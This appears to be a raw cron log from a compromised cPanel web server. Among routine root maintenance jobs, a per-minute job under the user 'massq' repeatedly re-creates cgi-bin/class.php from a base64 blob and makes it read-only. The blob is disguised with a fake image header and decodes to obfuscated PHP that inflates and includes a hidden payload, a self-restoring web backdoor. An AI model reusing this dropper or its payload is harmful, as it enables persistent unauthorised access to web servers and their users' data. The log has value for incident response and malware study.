Nov 14 12:23:01 server CROND[26455]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:24:01 server CROND[27464]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:25:01 server CROND[28334]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 12:25:01 server CROND[28335]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 12:25:01 server CROND[28336]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:25:01 server CROND[28337]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 14 12:26:01 server CROND[29236]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:27:01 server CROND[30021]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:27:01 server CROND[30022]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 12:28:01 server CROND[30885]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:29:01 server CROND[32018]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:30:01 server CROND[364]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 14 12:30:01 server CROND[367]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 12:30:01 server CROND[368]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:30:01 server CROND[369]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 12:30:01 server CROND[371]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 12:31:01 server CROND[1105]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:32:01 server CROND[1969]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:33:01 server CROND[2833]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:34:01 server CROND[3695]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:35:01 server CROND[4636]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 12:35:01 server CROND[4637]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 12:35:01 server CROND[4638]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 14 12:35:01 server CROND[4642]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 12:35:01 server CROND[4643]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
